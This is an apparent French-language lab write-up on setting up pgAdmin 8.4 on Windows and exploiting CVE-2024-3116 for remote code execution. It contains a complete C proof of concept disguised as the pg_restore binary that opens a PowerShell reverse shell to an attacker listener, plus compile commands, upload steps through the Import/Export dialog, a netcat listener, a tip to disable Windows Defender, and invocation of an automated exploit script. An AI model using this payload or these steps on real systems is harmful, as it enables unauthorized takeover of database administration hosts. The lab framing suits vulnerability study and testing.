
Création d'un laboratoire et test de la CVE-2024-3116, une exécution de code à distance dans pgadmin <=8.4
Création d’un lab et test de la CVE-2024-3116, une exécution de code à distance dans pgadmin <=8.4
Je me suis basé sur cet article.
Tout d’abord, une petite remarque sur ce lab : la documentation de pgadmin est assez mauvaise et je n’ai trouvé aucune trace de quelqu’un installant pgadmin sur Windows...
python -m pip install -U pippython -m pip install wheelpython -m pip install C:\Users\User\Downloads\pgadmin4-8.4-py3-none-any.whl
C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4\config_local.py, ajoutez la ligne suivante :LOG_FILE = r'C:\Users\User\pgadmin4\log\pgadmin4.log'
SQLITE_PATH = r'C:\Users\User\pgadmin4\pgadmin4.db'
SESSION_DB_PATH = r'C:\Users\User\pgadmin4\sessions'
STORAGE_DIR = r'C:\Users\User\pgadmin4\storage'
SERVER_MODE = True
C:\Users\User\AppData\Roaming\pgAdmin (nécessaire pour setup.py)python site-packages/pgadmin4/setup.py setup-db, j’ai mis Email = [email protected] et Password = password (ces email et mot de passe sont importants car nous en avons besoin pour nous connecter à pgadmin)Ensuite le serveur web :
MOD_WSGI_APACHE_ROOTDIR = C:/xampp/apachepip install mod-wsgimod_wsgi-express module-confighttpd.conf d’apachemod_wsgi-express start-server .\pgAdmin4.wsgi (devrait être accessible sur le port 8000)J’exploite la vulnérabilité depuis une machine Kali qui est sur le même réseau que le pgadmin.
Encore une fois : cet exploit ne fonctionne que contre pgadmin sous Windows ! Et nous avons besoin d’un utilisateur valide pour exploiter cette vulnérabilité !
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
if (argc > 1 && strcmp(argv[1], "--version") == 0) {
system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('192.168.112.128',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
} else {
printf("Usage: %s --version\n", argv[0]);
}
return 0;
}
sudo apt-get install mingw-w64x86_64-w64-mingw32-gcc -o pg_restore poc.c

Tools > Import/Export Servers > ‘cliquez sur la petite icône de dossier’ > ‘Cliquez sur les trois points en haut à droite de la fenêtre de sélection de fichier et sélectionnez upload’ > ‘sélectionnez le binaire PoC’

nc -lvnp 9001) afin de recevoir la réponse : IMPORTANT !!!!!!!!! Defender empêchera l’exécution du binaire (désactivez donc Defender)J’ai écrit un script python pour exploiter cette vulnérabilité automatiquement, il n’y a presque rien à faire.
Choses à savoir avant d’utiliser ce script :
pip install selenium)sudo apt-get install mingw-w64nc -lvnp <port>)Pour utiliser cet exploit, utilisez cette commande :
python exploit_cve_2024_3116.py --email <pgadmin_user_email> --password <pgadmin_user_pass> --rhost <http://target_ip_or_domain> --rport <target_port> --lhost <listener_ip> --lport <listener_port>
Une petite démo : https://youtu.be/zdMC3kbN0Is
Tous ces liens m’ont aidé à installer pgadmin sur Windows :
File > Preferences > Binary Paths
